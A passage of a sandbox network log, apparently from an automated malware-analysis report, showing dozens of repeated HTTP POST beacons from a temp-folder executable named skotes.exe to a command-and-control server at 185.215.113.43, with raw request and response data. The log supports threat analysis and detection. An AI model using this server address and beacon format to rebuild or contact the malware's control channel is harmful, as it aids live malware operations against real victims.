r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:32.515816927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	50133	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:34.265300989 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:35.673068047 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	50137	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:37.321854115 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:38.746766090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	50138	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:40.500454903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:41.831937075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	50139	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:43.471585989 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:44.841701031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	50141	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:46.587568045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:48.021609068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	50142	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:49.666811943 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:51.048002005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	50143	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:52.788271904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:17:54.129071951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	50144	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:55.767972946 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:17:57.246160984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	50145	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:17:58.980695963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:00.536186934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	50146	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:02.185477972 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:03.570715904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	50147	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:05.317331076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:06.805002928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	50148	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:08.437131882 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:09.819421053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	50149	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:11.560528994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:12.954799891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	50150	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:14.594686031 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:16.080583096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	50151	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:17.836946964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:19.224668980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	50152	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:20.873121023 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:22.266110897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	50153	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:24.010888100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:25.453512907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	50154	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:27.085905075 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	50155	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:29.248822927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:29.720174074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:30.637552023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	50156	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:32.278618097 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:33.679722071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	50157	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:35.431499958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:36.795728922 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	50158	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:38.431123972 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:18:39.866848946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	50159	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:18:41.609256983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:18:42.998924971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	50160	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
